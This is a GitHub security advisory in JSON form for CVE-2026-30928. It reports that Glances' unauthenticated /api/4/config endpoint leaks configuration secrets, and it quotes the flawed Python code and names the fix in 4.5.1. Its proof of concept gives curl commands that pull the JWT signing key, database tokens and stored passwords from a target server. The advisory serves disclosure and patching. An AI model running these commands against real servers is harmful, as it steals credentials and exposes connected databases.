CVE-2026-30928: Glances Glances Exposes Unauthenticated Configuration Secrets Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gh4x-f7cq-wwx6",
  "modified" : "2026-03-10T18:44:36Z",
  "published" : "2026-03-09T19:50:00Z",
  "aliases" : [ "CVE-2026-30928" ],
  "summary" : "Glances Exposes Unauthenticated Configuration Secrets",
  "details" : "### Summary\nThe /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords.\n\n### Details\nRoot Cause: The as_dict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied.\n\nAffected Code:\n- _File: glances/outputs/glances_restful_api.py, lines 1154-1167_\n```\ndef _api_config(self):\n    \"\"\"Glances API RESTful implementation.\n\n    Return the JSON representation of the Glances configuration file\n    HTTP/200 if OK\n    HTTP/404 if others error\n    \"\"\"\n    try:\n        # Get the RAW value of the config' dict\n        args_json = self.config.as_dict()  # <-- Returns ALL config including secrets\n    except Exception as e:\n        raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get config ({str(e)})\")\n    else:\n        return GlancesJSONResponse(args_json)\n```\n\n- _File: glances/config.py, lines 280-287_\n```\ndef as_dict(self):\n    \"\"\"Return the configuration as a dict\"\"\"\n    dictionary = {}\n    for section in self.parser.sections():\n        dictionary[section] = {}\n        for option in self.parser.options(section):\n            dictionary[section][option] = self.parser.get(section, option)  # No filtering\n    return dictionary\n```\n- _File: glances/outputs/glances_restful_api.py, lines 472-475 (authentication bypass)_\n```\nif self.args.password:\n    router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])\nelse:\n    router = APIRouter(prefix=self.url_prefix)  # No authentication!\n```\n### PoC\n- Start Glances in default webserver mode:\n```\nglances -w\n# Glances web server started on http://0.0.0.0:61208/\n```\n- From any network-reachable host, retrieve all configuration secrets:\n```\n# Get entire config including all credentials\ncurl http://target:61208/api/4/config\n```\nStep 3: Extract specific secrets:\n```\n# Get JWT secret key for token forgery\ncurl http://target:61208/api/4/config/outputs/jwt_secret_key\n\n# Get InfluxDB token\ncurl http://target:61208/api/4/config/influxdb2/token\n\n# Get all stored server passwords\ncurl http://target:61208/api/4/config/passwords\n```\n### Impact\nFull Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "Glances"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nicolargo/glances/security/advisories/GHSA-gh4x-f7cq-wwx6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-30928"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nicolargo/glances/commit/306a7136154ba5c1531489c99f8306d84eae37da"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nicolargo/glances"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nicolargo/glances/releases/tag/v4.5.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-09T19:50:00Z",
    "nvd_published_at" : "2026-03-10T18:18:52Z"
  }
}